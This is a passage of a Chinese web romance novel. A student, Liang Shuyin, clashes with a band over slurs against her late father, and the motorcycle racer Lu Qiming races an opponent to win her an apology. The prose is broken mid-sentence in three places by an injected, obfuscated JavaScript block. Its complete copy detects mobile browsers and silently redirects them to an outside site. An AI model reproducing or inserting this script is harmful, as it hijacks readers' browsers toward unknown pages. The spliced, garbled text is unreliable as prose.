“叶子,我有必要再提醒你一句,如果不是你们队长求我,我根本不想去替你收拾烂摊子。” “还有,把自己的错误加诸到别人身上,是心虚,也是愚蠢。” 她漠然的眼神,天生就有种睥睨的、要把人看到骨子里的强势,让人无端心慌。 被她看透,叶子气急,“梁舒音,你说我蠢?” 无视叶子的控诉,梁舒音径直看向脏辫男。 “麻烦让开,我还要回店里兼职,如果我的同事发现我没回去,会过来找我的。” “学姐,急什么。” 脏辫男随手抄了个凳子,在门口坐下,摆明了就不想让她走。 “我们是真缺鼓手,你有什么条件,尽管开。” “行。” 梁舒音摸出手机,“那我只好报警了。” 然而,那三个数字还没拨出去,手机便被男人夺走,像垃圾一样,被扔在了旁边。 手机重重砸在水泥地上,她听见了屏幕碎裂的声音。 “学姐,别敬酒不吃吃罚酒。” 脏辫男走进了,居高临下,满嘴隔夜酒气,喷得她反胃。 到底还是高估了这群人的素质。 梁舒音深吸口气,冷静几秒后,转头看向在沙发上隔岸观火的林岚。 直觉告诉她,林岚是这群人里的老大,她想要脱身,只能将砝码压在她身上。 “我知道,大家都还是学生,没必要因为我这个无关紧要的人被记过吧?”她对着林岚讲起道理。 随后又扫了眼叶子,“你应该也知道,虞大校纪校规向来严苛,总不能辛辛苦苦考进去,却连个毕业证也拿不到吧?” 林岚终于抬起头,认真审视着眼前处变不惊的女生。 平心而论,她的确讨厌梁舒音,不仅因为对方在赛场赢了她,更因为那种赢了比赛,还一副轻描淡写的姿态。 但她这人虽然从小混账,还不屑于来阴的。不过是听叶子哭诉,她便抱着半是好奇、半是看戏的心态,随口应了。 此刻听到梁舒音这话,她认真琢磨了下,的确,她也不想给自己惹麻烦。 放下手头的乐谱,林岚从沙发上起身,跟脏辫男使了个眼色。 挡在门口的男人接收到信号,又瞄了眼叶子,犹犹豫豫地让开了。 “梁舒音。” 在她抬脚时,身后的林岚却突然开口,“希望咱们以后井水不犯河水。” 她头也没回,“我也是这么想的。” 然而,当她刚摸到排练室的门把手,一直没吭声的叶子,却突然冒出一句让她措手不及的话。 “果然有其父必有其女。” 梁舒音脊背一僵,顿住脚步,回头看向出声的人。 “你什么意思?” 叶子冷笑一声。 “表演那天晚上,你跟你舅舅的话我都听到了,原来你就是我们文新学院那个大名鼎鼎的梁蔚老师的女儿。” “你爸潜规则女学生,你顶替别人上场表演,有些东西原来是会遗传的。” 梁舒音握紧了掌心,一双眼冷若冰霜,“请你嘴巴放干净点。” 被她的眼神吓到,叶子下意识后退了半步,却又不甘示弱,继续梗着脖子挑衅。 “怎么?敢做不敢当?不就是潜规则女学生被举报,后来身败名裂又自杀...” “啪——” 她话没说话,一记响亮的耳光便重重落下,煽得她脑袋嗡嗡作响,左脸火辣辣的。 她懵了一瞬。 反应过来后,捂着脸,气急败坏张口反击,“梁舒音,你她妈——” 然而一抬头,撞上梁舒音那张冷得骇人的脸,浑身一颤,硬生生将话咽了回去。 事情急转直下。 脏辫男还没反应过来,林岚见表妹挨了打,拎起墙角的空酒瓶,往墙上猛地一敲。 “你他妈找死啊!” 瓶身被她震碎,只留了小半截满是尖锐玻璃的瓶口。 “你一个强|奸犯的女儿,也敢在我这儿撒野。” 她拿着狰狞的瓶口,朝梁舒音挥了过来。 下一刻,所有人都震住了。 那截瓶口,被梁舒音牢牢握在了掌中。 尖锐的玻璃扎进她手心,她甚至连眉头都没皱一下。 霎时间,一抹抹鲜红自她掌心流出,顺着小臂蜿蜒往下,从手肘坠落。 一滴接着一滴。 地上很快积起一滩刺眼的红。 “梁舒音你疯了吗?” 林岚瞠目结舌,被眼前不要命的人吓住,一时竟忘了松手。 “道歉。” 鲜血直流的人像是毫无痛感,冷冰冰直视着对面的两个女生,不卑不亢的嗓音,掷地有声,不容置疑。 “跟我爸道歉。” 她提高音量,眼风扫过呆住的几人。 林岚因为太过震惊,一开口竟有些磕巴,“道...什么歉,你爸的事不是都上过新闻。” 她从小厮混在流氓中,豪强霸道惯了,只有她欺负别人的份儿,从没谁敢欺负她。 这还是她头一回,心里犯怵。 因为她从梁舒音眼睛里看见了三个字。 不要命。 陆祁溟破门而入时,看见的就是这样一个无畏无惧,连命都不要的梁舒音。 直到很久以后,他还记得这惨烈又平静的一幕。 她手头握着瓶口,鲜血在脚下淌了一地,口中不断跟林岚重复着那句话。 “道歉。” “跟我爸道歉。” “我让你道歉,听到没有。” 她眼底是熊熊燃烧的怒火,也是终年不化的冰川。漠然的语气,让人听出几分歇斯底里的味道。 这样的她,让他整颗心都被揪了起来。 刚才被极致的情绪掌控,她掌心的痛是麻木的。 此刻,那痛才后知后觉席卷全身,像浪头一样,从脚底到头皮,钻进她每一个细胞。 连皮带肉都被撕扯了起来。 她脸色煞白,浑身止不住的颤抖。 从小到大,她的痛觉神经一直都是常人的十倍以上,这痛对她而言,无疑是拆骨拨筋的。 被剧烈的痛啃噬,她像是刚从噩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大概是刚才被吼得有点不开心,她敛了眼皮,也不跟陆祁溟打招呼。 还有脾气了。 陆祁溟看她一眼,放缓了语气,解释说:“我怕你一动,那些碎玻璃又扎得更深了。” 她“嗯”了声,也不看他,径直望向床尾的李诗诗。 “你在这儿,店里怎么办?” “关门了。” 李诗诗见她醒来,拿出手机给简兮发了条报平安的信息过去。 “回去吧,我没事了。” “可你都痛晕了。” “我这不是醒了吗?”她浅浅勾了下唇,“回去吧,别因为我耽误了店里的事。” 李诗诗正犹豫,一旁的男人也发了话,“这位同学,谢谢你今天及时告诉我她失联的事。” “你回去吧,我在这儿照顾她就行了。” 若说刚才还对两人的关系存疑,此刻就算再愚笨,李诗诗也看出点什么了。 尤其是刚才他看见梁舒音受伤时,那副铁青着脸要荡平工作室的狠厉模样,她根本都不用再去多问什么了。 见别人一副家属的姿态感谢她,她在这儿,反而成电灯泡了。 “好吧。” 李诗诗抹了把脸,吸了吸鼻子,“音音你好好休息,那我就先回店里了。” 玻璃碎片都取出来后,接下来便是缝针。 掌心血肉模糊,深深浅浅的口子太多,即便打了麻药,梁舒音也痛得浑身发抖。 “姑娘,你麻药不耐受啊?”医生问。 “有点。”她咬着唇,几乎是用气声在说话。 “那你得忍着点儿了。” 她点头。 然而,咬牙撑了半分钟后,她就痛得满头大汗。实在受不了了,她抬起另外只没受伤的手,张嘴就要去咬。 面前的男人却拽住了她。 “咬这里。” 陆祁溟将他胳膊,递到了她面前。 梁舒音意外地抬头看他,疼痛让她眼角泛出生理性的泪水。 见她红着一双眼凝试着自己,那种无意识流露出的脆弱,让陆祁溟莫名有些受不了。 他甚至觉得,她再多看他两眼,哪怕让他去杀人放火,他兴许都会答应。 不等她回应,他已经把胳膊送到了她嘴边。 然后不由分说地,用另外只手扣住她后脑,将她摁进怀里,直接用身体,隔绝了她那要命的目光。 21. 他家 脑袋被他按进怀里,黑暗中莫名多了丝安全感。 但她不想太过依赖这个男人,刚要挣扎时,缝针的痛便如灭顶之灾袭来。 头皮发麻,她本能地张嘴,一口咬在陆祁溟结实的小臂上。 但实在太过用力,她的牙齿嵌入他的皮肤,饶是他这种不怕痛的人,都不禁皱了眉。 一声“嘶”从喉头溢出,又被他硬生生压制下去了。 舌尖弥漫着一丝腥,反应过来自己干了什么,梁舒音立即松口,将他胳膊往外一推。 她仰头望着身前的男人,眼角痛出生理性的泪,面色心虚又懊恼,像犯错的小孩。 气势荡然无存。 然而,做错事的人,顶着泪眼汪汪的眼睛和我见犹怜的委屈,苍白的唇角却还残留着一抹艳丽的红。 天真无辜和艳丽动人的反差。 挺要命的。 陆祁溟胸口深深地起伏了下。 鬼使神差地,趁医生转身的瞬间,他忽然弯腰,扣住她后脑勺。 低头吻了下去。 温热的触感覆盖,男人含住她的唇,轻轻吸允了下。 梁舒音浑身一僵,被他名目张胆的行为震住,反应过来时,男人却已松了口。 她抬头瞪他。 对上他眼底隐隐挑衅的笑,她气急,但又碍于医生在场,不敢发作,一口气憋在胸口,不上不下。 接下来缝针的过程,梁舒音咬着牙,硬生生扛过了,没再咬他一口。 只是人在怀里颤抖着,陆祁溟知道她有多痛,他恨不得掰开她的嘴,替她分担痛苦。 但这姑娘太犟了,犯过一次错,就决计不会再犯第二次。 结束后,他将压在她后脑勺的手下移,试图安抚她,却发现她后背的衣服已经湿透。 他眉头深皱起来。 印象中,自己遭遇过的最痛的时刻,莫过于几年前的摔车,膝盖受了伤,但也没痛到她这种地步。 这样的痛似乎不太正常。 缝针后,他跟着医生出去,低声问了句。 “为什么她会痛成这样,是还有其他什么问题吗?” 医生不以为意地瞄了他一眼,“玻璃扎进肉里,麻药又不起作用,能不痛吗?” 陆祁溟半信半疑。 然而,他这头还在跟医生纠缠,梁舒音却已经收拾好自己,从诊疗台下来,跟医生道了谢,越过他,准备离开。 “去哪儿?” 他忍住脾气,拽住她。 刚才偷亲的那笔账还没算,她根本不想理他,只冷淡地开口。 “找人。” “刚才那群人?”陆祁溟怀疑自己听错了。 “嗯。” “还没被欺负够?还回去做什么?”他语气凌厉,简直快被她气笑了。 像是没听到他的低斥,梁舒音抽出了手。 “我不接受她们对我爸的污蔑,无论如何,她们必须给我爸道歉。” “刚刚为什么不愿意报警?” 将她抱上车时,他拿了手机打算报警,却被她伸手阻止了。 她眼睛盯着走廊前方的虚空处,没有焦点。 “没什么,他们都是学生,报警会留案底,影响毕业。” “你倒是挺会替别人着想的。” 见她突然低头不说话,陆祁溟有些无奈地走到她面前,问得认真。 “一句道歉,当真比命还重要?” “嗯。” 梁舒音终于仰头看他,目光冷淡而倔强,一字一句道:“比命还重要。” 她眼睛里那种不可冒犯的执拗,让他心底微微一震。 梁舒音清楚,没人能理解她的行为,也许在旁人眼里,她就是个活脱脱的疯子。 她也不打算解释什么,然而刚提脚,就听他掷地有声地开口。 “行,我帮你把人逮过来。” “我要的是一个诚心诚意的道歉,不是强权下的胁迫。” 陆祁溟反问:“诚心诚意?你觉得你能做到?” 她一噎。 “我查过了,林岚的父亲有权有势,她从小嚣张跋扈,被家里惯坏了,吃软不吃硬,从来不会轻易低头。” 如同当头棒喝,陆祁溟的话让她清醒了不少。 “不过——” 他突然话锋一转,“这件事,我能替你办到。” 她看着他,睫毛微微颤动,移开了视线。 “谢谢,不过不用了,我会自己想办法。” 她不想再跟他扯上任何关系。 然而,她刚走了两步,突然被人拽住胳膊,接着,身体腾空,她被他打横抱了起来。 “你做什么?” “我说过,你想要的,我会给你。” 陆祁溟盯着她,温和又强势,“不过现在,你需要休息。” 像是没听到他的话,梁舒音冷着一张苍白的脸。 “放我下来。” “别乱动。” 陆祁溟睨着她,语气沉沉,似是威胁,“你有伤,我也有。” 想到他被自己咬伤的地方,又莫名想到了他那个吻,梁舒音忽然像被捆住了手脚,乖乖呆在他怀里,不动了。 但也只安静了一小会儿。 被他抱着走出医院长廊后,她又不安分了,冷静地开口威胁他。 “你再不放我下来,我就叫人了。” 陆祁溟唇角勾起很浅的弧度,“你就是这样对待救命恩人的?” 梁舒音瞪着眼前的男人,轻咬下唇。 她的确不会这么做。她不是那种忘恩负义,恩将仇报的人。 也许是累了,她也不想再呛他了,于是便任由他将自己抱出了医院,塞进了他的车里。 “现在去做什么?”梁舒音盯着窗外,发问时也不看他。 陆祁溟发动车子,“睡觉。” “什么?”淡漠的人终于转过头,脸上有了丝涟漪。 瞧见她这副惊慌的样子,陆祁溟得逞地笑了下,慢悠悠地开口解释。 “累了,也饿了。先吃个午饭,休息下,再说后面的事。” 后来的一路,梁舒音没再多问一句,她知道自己逃不了,也懒得逃。 陆祁溟带她回了他的家。 一栋在郊区的别墅。 造型很特别,太空舱一样的建筑形状,锋芒又张扬,跟他这个人的性格很符合。 到家时,餐桌上已经摆满了午餐。 大概是提前跟保姆打过招呼,都是些清淡养伤的食物。 陆祁溟替她拉开凳子,“吃完饭,好好休息下,二楼除了右手边最里头那间房,其他房间随你挑。” “当然。” 他又补充了句,“你想去那间房,跟我同床共枕也行。” 梁舒音瞪他一眼。 他欣赏着她被自己惹怒的表情,轻笑一声,抬手揉了揉她脑袋,转身就要离开。 “你不吃吗?”她问他。 “你先吃,我上楼处理点事情。” “那个。” 她不自在地瞄他一眼,“能不能借我一身衣服,我想洗个澡。” “你那手能行吗?”他视线落在她缠满纱布的手上,似笑非笑。 无视男人没安好心的笑,梁舒音淡漠道:“能。” “行。” 没几分钟,陆祁溟就拿了件白T下来,又不放心地问:“不然,我让阿姨过来帮你洗吧。” “不用了。” 他弯起唇角,“那行。” 三楼的书房里,陆祁溟调出手机里的陌生来电,回了过去。 “喂,是祁溟吗?” 一个女人的声音。 他微眯起眼睛,眼风不自觉带了一丝凌厉。 “你是...舒姨?” “是我。” “你找我什么事儿?” 那头顿了下,“你爸他最近身体不太好,你空了能回来看看他吗?” 上次老头子过生,他回家,两父子一见面,又大吵了一架。 他不想再给自己找麻烦,“身体不好就去医院,我看能顶什么用。” “他刀子嘴豆腐心,对你是严厉了些,但你们毕竟是亲父子...” 陆祁溟打断她,态度还算礼貌。 “舒姨,听说你还有一个女儿,有时间不如多给你女儿打打电话,关心关心,我们之间就不必了。” 挂了电话,陆祁溟在落地窗旁静立了一会儿。 日光描绘着他周身的轮廓,也加深了他身上那种带着戾气的锋利。 没多久,秦授的电话就进来了。 “老陆,上午那事查清楚了。”秦授嗤笑一声,“就是个农夫与蛇的故事。” “新生汇演,梁舒音替迟到的叶子去表演,大概是效果不错,那女生嫉妒了,想整她。” 陆祁溟带着蓝牙耳机,背靠在书桌上,没什么表情地听着。 他拧开一瓶水,喝了口,望着窗外那颗高大的尤加利树,心道,恐怕不止这一件事。 现场除了叶子,还有个女生,也就是拿着啤酒瓶往她身上捅的那个,如果他没记错,应该叫林岚。 之前赛场上输给她的女生。 “叶子和林岚是表姐妹,叶子欺软怕硬,她姐林岚倒是个宁死不屈的硬骨头,让她诚心道歉恐怕很难。” 秦授顿了下,“不过,她很听一个人的话。” “谁?” “她亲哥,林枫。” 林枫是陆祁溟当年的劲敌。 当然,所谓劲敌只是林枫一厢情愿的想法,陆祁溟从没把他放在眼里过。 林枫没事就追着他,想让他跟自己比拼,但陆祁溟直到退圈,都没答应过。 “好,林枫那边我来搞定。” 陆祁溟将水往桌上一搁,落手的瞬间,瞥见小臂上那个很深的牙印,又问起另一件事。 “那她父亲的事呢?” “你先看看这份资料。” 秦授将邮箱的东西转发给他。 “梁舒音的父亲,原本是虞大中文系的副教授,在竞聘教授的关头,被学生举报潜规则,停职调查时出了车祸。” “然后呢?” 陆祁溟眉头下压,迅速点开了邮箱。 “他出车祸后,那女生突然改了口供,说当时喝醉了,没看清楚,警察也没有找到确凿的证据,那件事就不了了之,只是最后...” 秦授迟疑了下。 “怎么了?” 网速问题,那份资料还在加载,但陆祁溟已有了不详的预感。 “他爸最后自杀了。” 陆祁溟手上的动作顿住。 静默了好长时间,他才重新开口,嗓音不觉低缓了下来,“那她妈妈呢?” “她妈后来再婚了,两人联系很少。不过这块没细查,也没有文档资料,需要我再去查查吗?” 陆祁溟顿了下,“不用了。” 挂了电话,他反复看了两遍那份资料,莫名觉得哪里不对劲,但又说不出具体的古怪之处。 他深吸口气,从抽屉里摸出了烟,走到窗边,一手挡着风,点燃了。 吁出烟圈后,他不由得想起之前问起她父母的事,她突然变脸的模样。 原来,真相竟比他想象的还要恶劣。 所以她周末马不停蹄地兼职,是因为只能靠自己吗? 只吸了两口,他就将烟蒂摁灭在烟灰缸里,下了楼。 耽搁太久了,也不知道楼下的她怎么样了。 饭厅里空无一人。 他调出二楼走廊的监控器,看见她进了左手边,离他卧室最远的那间房。 还挺会挑的。 怕她需要帮忙,他上楼去敲门。 结果无人应答。 “梁舒音?”他不放心地叫她。 “我进来了?” 怕她洗澡出事,犹豫片刻后,陆祁溟试探着,轻拧了下客房的门。 还真没锁门。 她怕跟他纠缠,却又如此信任他。 这让他很意外。 他朝里头望过去,白色床单上,铺散着乌黑如绸的长发。 她侧躺着,背对着他,听见开门声也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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冷静下来后,他调出一个落灰的电话号码,拨了出去。 谈妥后,他将她的脏衣服手洗干净,从烘干机里拿出来时,恰好被过来的秦授撞见。 “连自己的衣服都懒得洗的陆少,竟然会给女人洗衣服!”秦授推了推黑框眼镜,震惊又揶揄。 陆祁溟没理他,“有事儿?” 秦授忽尔正经起来,他这趟过来,单纯是因为某人发疯,他不得不来阻止。 “你真打算跟林枫的人比一场?” 林枫答应会让妹妹诚心诚意去给梁舒音道歉,但前提是陆祁溟得跟他手下的人比一场。 无论输赢,只要上场就行。 “嗯。” “万一输了,你车□□号不就毁于一旦了?” 陆祁溟语气淡淡的,“我什么时候看重过这些虚名了?” “但你别忘了,你膝盖里还有块钢板,万一再受伤...” 陆祁溟打断罗嗦的人,“放心,死不了。” 秦授头痛,却不能不继续劝诫。 “陆祁溟你听我说,这件事还有很多其他解决办法,软的不行就来硬的,不就是道个歉,以你陆少的能力,这么简单的事还怕办不到?” 陆祁溟转头看他,面色是前所未有的认真。 “是,我的确可以直接把人压到她面前,但心不诚,又有什么用呢?” 秦授从他眼睛里看见了“不容置疑”四个字,他阻止不了,只能后退一步。 “那你能保证自己的安全吗?” “尽量。” “你!” 秦授气结,从冰箱里拿了瓶苏打水出来,砰一声关上冰箱门。 “陆祁溟,你这回算是真的栽了。” 陆祁溟叠好女生的衣服,从洗衣房出来,走到酒柜旁,拿出一瓶威士忌,只闷笑了声,没说话。 一口气灌了大半瓶水,拧上盖子时,秦授转头就瞥见某人左手小臂上,一块新鲜的伤疤。 “你这是...” 秦授微眯着眼,仔细辨别了下,“牙印?” 陆祁溟往褐色水晶杯里倒了半杯酒,低头盯着印子。 “嗯,一只野猫咬的。” 秦授心领神会。 只是,他全然没想到,向来颐指气使的陆少爷,一旦动了心,竟然会如此掏心掏肺,毫不保留。 不但打破自己的规则,为了她重回赛场,甚至连受伤丢命也毫不在乎。 “怎么不处理下伤口?” 秦授瞥了眼他小臂上,那排整齐突兀的牙印。 “没必要。” “是没必要,还是故意想留下点什么?” 陆祁溟不耐地觑他一眼,径直将他手中的水夺过来,手一抬,抛进垃圾桶,又推给他半杯酒。 “一个大男人这么爱喝苏打水,有病吧你。” “到底谁有病?” 秦授对着垃圾桶里没喝完的水叹口气,也没碰他给的酒,径直去冰箱里重新拿了一瓶。 --- 这一觉,睡得莫名踏实。 醒来也没有习惯性的头痛。 梁舒音从床上起身,迷糊中,她下意识伸手揉脸,右手掌心的剧痛让她顿时清醒。 她想起了今天发生过什么,而自己此刻又身在何处。 她下了床,扫视客卧一圈,却没找到自己的衣服。 整理了下身上这件被压得皱巴巴的T恤,她拿起自己屏碎的手机,踩着白色拖鞋,下了楼。 一楼客厅的落地窗旁边,立了个男人,男人正拿着手机,面朝院子通话。 从背影看,不太像陆祁溟。 看见玻璃上她的投影,男人回头,朝她望了过来。 就在视线即将撞上时,她被一股强大的力量拽到了偏厅。 陆祁溟左手撑墙,右手还握着她手腕没放,身体靠近了,几乎将她困在墙和他之间。 “穿成这样就下来了?” 他盯着她光洁的双腿,压低的嗓音,明显是生气了。 22. 车神 男人握着她手腕的力道有些大,梁舒音吃痛地皱了下眉。 她无语地盯着面前的人,想说关你什么事,但想起自己刚刚才受了他的恩惠,便压下脾气,端正了下态度。 “我衣服不是被你拿走了?” 陆祁溟一怔,深深看她一眼,松了手。 “等着。” 他去洗衣房拿了她的衣服过来,叠好的两件,塞进她怀里,连人带衣推进卫生间里。 “换好衣服,带你去一个地方。” 手头的衣物是干净的,洗过、烘干了,还散发着一股淡淡的柑橘香味。 她讷讷捧着,一时竟愣住了。 “怎么,手不方便,要我帮你换?” 陆祁溟眼角带笑盯着她,像是巴不得抓住一切可以揶揄她的机会。 于是那句刚要出口的“谢谢”,便卡在了嗓子眼里。 她瞥他一眼,转身走进卫生间里,“砰”地关上了门。 换好衣服出来,梁舒音才发现刚才在客厅接电话的男人是秦授。 双方点头打了招呼后,她走过去跟陆祁溟告别。 “谢谢你今天的帮忙,我该回家了,你说的地方我就不去了。” 直觉告诉她,再跟他纠缠下去,只会有更多不受控的危险发生。 她不能任由自己行至危险的深水区。 道别后,也不等他回复,她转身就朝大门走去。 “不是想要林岚和叶子给你爸道歉吗?” 男人像是抓住了她的软肋,慢条斯理地抛出诱饵,“心甘情愿的那种。” 头也不回的人倏然顿下脚步。 鱼饵起作用了,陆祁溟牵起唇角。 他不疾不徐地走到她面前,抄着双手,垂眼睨她:“梁舒音,你相信我吗?” 平日里刻意低调的那副面具不见了,她此刻见到的他,是他原原本本的样子。 刻在骨子里的自信张扬,眼角眉梢都是与生俱来的锋芒,像是这世界没有他办不到的事。 但梁舒音却不为所动,冷淡的眼底依旧没有太多的表情。 “不信。” 一身反骨。 陆祁溟也没生气,身体微微前倾,一双漆黑眼眸紧紧攫住她,面色极为认真。 “我会让你信的。” 话音落,他将她两只手腕叠在一起,抓握在他宽大的掌中。 也不管她愿不愿意,就拉着人朝车库走去。 女孩双手都被他困住,但仍然像一尾滑溜的鱼,挣扎着,稍有不慎就会狡黠地溜回她的安全地带。 走到门口,她又抬脚踢他,那一脚软趴趴的,没什么杀伤力,但却在他裤腿上留下半截秀气的脚印。 这对洁癖的人而言,太要命了。 陆祁溟停步,回过头,一双深邃的眸子盯着始作俑者,然后二话不说,将人扛了起来,放在他的肩膀上。 “陆祁溟,你流氓。” “是吗?” 虽然前方没人,他还是抬手,贴心地按住她的裙摆下方,以防她走光。 “那你之前在酒吧强吻我的时候,又算什么?” “...” 梁舒音一噎,抬头看见身后跟着的秦授,那男人似笑非笑,明显是在看笑话。 好女不与恶男斗。 她狠狠掐了下他肩背上的肌肉,深吸口气,闭上眼,忍了。 车子一路驶往郊区,停在了一个摩托车赛场旁。 今天并没有大型的比赛,也没看见任何车队,但不知为何,场边却已聚起了一圈观众。 那些人见到陆祁溟,顿时两眼放光地望了过来,像是在等待什么。 “你要上场?” 她察觉到什么,但有些不敢相信。 陆祁溟没回答她的问题,只握着她肩膀,神色认真地跟她说了两个字。 “等我。” 看着他高大挺拔的背影渐渐消失在视野中,梁舒音不解地望着秦授。 “他要做什么?” 秦授叹口气,“替你拿到一个‘道歉’。” “什么?” “只要他上场,不论输赢,你都能得到想要的道歉。” 她张口哑然。 他说会帮她,却没想到,是用这样的方式。 “他退圈的这几年,不管是谁,都没法让他再上场,现在他破了自己的规矩,只是为了给你一个诚心诚意的道歉。” 午后的艳阳晒得梁舒音浑身发烫,莫名的,她的心也跟着滚烫了起来。 “而他呢,一旦输了,他过去积攒下来的那些荣誉,大抵都泡汤了,什么车神,什么从无败绩...” 秦授嘲讽似地笑了下,很不赞同地摇头。 “他以前脾气不好,得罪的人多,那些曾经被他碾压的对手,恐怕会找准这个机会狠狠踩他。” “这种蠢事,要换了我,拿刀架在我脖子上,我也不会干。” 梁舒音没说话,但垂在身侧的手却微微蜷起。 秦授看向身边依旧冷漠的女生。 也不知道陆祁溟看上她什么了,他话都说到这个份上了,这女人还是无动于衷。 “而且,他膝盖有伤,一旦出现意外,他这辈子大概就瘸了。”他危言耸听,继续给她吹耳旁风。 梁舒音紧抿着唇,脸色越发难看。 “说真的,道歉这种事,以他的能力不过就是一句话的事。” 秦授抱着胳膊,嗤笑一声,似揶揄似无奈。 “但自从认识你之后,他做事的风格,就越来越拖泥带水了。” “梁舒音,道歉对你就这么重要?” 见人仍旧跟哑巴似地一言不发,秦授彻底失去了耐心,“值得他拿自己的身体去替你拼?” “我没让他这么做。” “...” 冷淡的语气。 可真没心没肺。 秦授抬手压住突突的太阳穴。 陆祁溟换好衣服后,检查着等会比赛要用的那辆车。 林枫靠在树下,吐了口烟圈,斜睨着他。 “过去怎么缠你,你都不答应,现在竟然为了一个女人就答应了。” 陆祁溟轻飘飘扫他一眼,“别扯其他人,当年不想跟你比,只是觉得没必要。” 在林枫疑惑的表情中,他又轻描淡写但极具杀伤力地补了句,“因为不管怎么比,你都是一个输字。” “你...” 林枫被戳中肺管子,哑口无言,将头摁灭,转向这次比拼的另一个车手萧喆。 “阿喆,你今儿要是赢了,想要什么哥都满足。” 萧喆是林枫手底下的一个小孩,刚满十八岁,被誉为赛车界的天才。 这人跟陆祁溟年轻时一样,狂傲不羁,目中无人,林枫怕他早晚出事,便想借着陆祁溟挫挫他的锐气。 陆祁溟瞥了萧喆,哼笑一声,“小孩,输了别哭鼻子。” 萧喆冷淡看他一眼,一副少年老成的模样,缓缓将头盔套上,“听说你从无败绩,那就我这里终结历史吧。” 自古英雄出少年,够狂。 陆祁溟微微挑眉,像是看到了当年的自己。不过他对输赢倒是没什么计较,闻言,只是很随意地笑了下。 萧喆毕竟年少气盛,见他笑得浮皮潦草,到底耐不住性子,一时气恼。 “怎么,你不信?” 陆祁溟也不理会他,径直朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128286|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林枫道:“希望你不会出尔反尔。” 说罢,哨声划破天际,两辆车同时如离线之箭射了出去。 看着赛场上那个冲在前面的身影,梁舒音掌心发汗,紧张得握紧了拳头。 如果真如秦授所言,他膝盖做过手术,那他为什么还要执意上场? 真的只是为了给她博一个道歉吗? 在她走神的片刻,陆祁溟已经漂亮地过了第一个弯,甩了身后人整整半圈,而赛场下那些闻风而来的人,像烧开的水一样,沸腾得无以复加。 她当年跟着舅舅学车只是为了好玩,为了发泄,但几乎从来不关注圈里的情况。 只是,自从知道陆祁溟的身份后,她也会好奇,赛场上的他是什么样的。 娴熟而高超的技巧自不必说,他浑身散发的气场,那种睥睨无双的气势,竟让她也跟着热血沸腾了起来。 原来这就是车神。 如此的野性,如此的肆意不羁。 她蓦然想起之前好几次,他强势对待她的场景。 礼堂外他不由分说将她禁锢在身下,医院里猝不及防的亲吻,还有他执意带她来这里... 到此刻,她似乎才慢慢了解了陆祁溟这个人。 他的不容置疑,他热烈肆意的底色,以及他对她毫不遮掩的企图,比她以为的还要更深。 最后一圈时,陆祁溟已经完成了对萧喆的套圈。 萧喆似乎着急了,想尽量拉近距离,然而猛踩油门时,方向一偏,从陆祁溟身后擦身而过。 两辆车撞在了一起。 同一时间摔了出去。 眼底的世界变成了黑白默片,梁舒音的心也跟着重重摔了出去。 呼吸凝固。 嗡嗡作响的脑袋里,隐约有根弦,“轰”地一声,断裂了。 场边那群人在惊声尖叫后,骤然安静了下来。 有人担心,有人窃窃私语,还有人问要不要叫救护车。 似乎过了很久,但其实也不过十几二十秒,就在梁舒音攥紧拳头准备走向赛场时,赛道外的草堆里,有人率先爬了起来。 墨色头盔,红白赛车服。 是他。 确认他身份的那一刻,胸腔里那颗心重重回落,不知为何,她忽地鼻头一酸。 陆祁溟起身后,没急着离开,而是缓缓走到几米外的地方,将躺在地上的萧喆拉了起来。 傍晚时分,烈日逐渐西沉,天际余留着一抹火烧云,风里却夹杂了潮闷的水汽。 是下雨的前奏。 绯色与浅蓝交汇的天际下,梁舒音看着陆祁溟一步一步,朝她走来。 男人似乎左腿受了伤,身体重心都在右脚上。 他拎着头盔,走得极慢。 光线落在他眼皮上,大概是有些晒,他微微皱起了眉头,原本就冷酷的一张脸显得更加凌厉不好惹了。 有些人大概天生就是目光簇拥的焦点,即便走路的姿势一瘸一拐,也并不妨碍他这个人浑身散发的荷尔蒙。 周围不少女生都跃跃欲试,想上前与他搭讪或合影,却又因他冷冽的气场望而生畏。 陆祁溟缓慢穿过赛场。 短短两三分钟的路程,他用了整整十分钟,走出场地的瞬间,他撩起眼皮,朝香樟树下的她看了过来。 两人视线相撞。 喧嚣而偌大的赛场,隔着人群,陆祁溟的目光就那样定在她身上。 浮游的空气粘腻湿闷,两人彼此对望,谁也没有移开视线。 目光链接在一起,寂静,又暗涌着什么。 如同第一次在赛场上相遇那样。 只不过这一回,立在树下,心跳踩空的那个人,是她。 23. 幻梦 陆祁溟走到了梁舒音面前,却见她皱着眉,一张小脸比刚才更惨白了。 “怎么了?” 她瞥了眼他一瘸一拐的左腿,“你腿没事吧?” 陆祁溟有些意外,低笑一声,“所以是在担心我?” 都这种时候了,他还有心情跟她嬉皮笑脸。 梁舒音紧抿着唇,面色是前所未有的严肃,“陆祁溟,你真的不怕残废吗?” “怕。” 男人也跟着敛去笑意,定定地望着她,“但我更怕对你食言。” 梁舒音盯着他,沉默了片刻,扭头就走。 “去哪儿?”他急忙拉住她。 “买冰袋。” 那一摔看起来惊心动魄,伤没伤到骨头她不知道,但眼下她能想到的就是立刻冰敷。 陆祁溟一愣,继而笑道:“等一下。” 他下巴朝旁侧点了下,“先把正事儿办完。” 